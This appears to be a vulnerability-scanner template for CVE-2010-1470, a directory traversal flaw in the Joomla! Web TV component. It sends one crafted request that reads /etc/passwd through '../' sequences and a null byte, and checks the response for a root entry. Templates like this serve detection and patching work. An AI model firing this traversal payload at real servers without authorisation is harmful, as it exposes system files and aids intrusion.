id: CVE-2010-1470

info:
  name: Joomla! Component Web TV 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Web TV (com_webtv) component 1.0 for Joomla! allows remote attackers to read arbitrary files and have possibly other unspecified impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12166
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1470
    - http://www.exploit-db.com/exploits/12166
    - http://www.vupen.com/english/advisories/2010/0858
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1470
    cwe-id: CWE-22
    epss-score: 0.13351
    epss-percentile: 0.95919
    cpe: cpe:2.3:a:dev.pucit.edu.pk:com_webtv:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dev.pucit.edu.pk
    product: com_webtv
  tags: cve,cve2010,joomla,lfi,edb,dev.pucit.edu.pk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220183277fbf7e9c6624114453f0e9fbb59ac6ed7da17c292df256e06e385c680c202203325866cca22aea0d4d631763a6c39817c8fd2d4e7f4721af21647188f5d1c1c:922c64590222798bb761d5b6d8e72950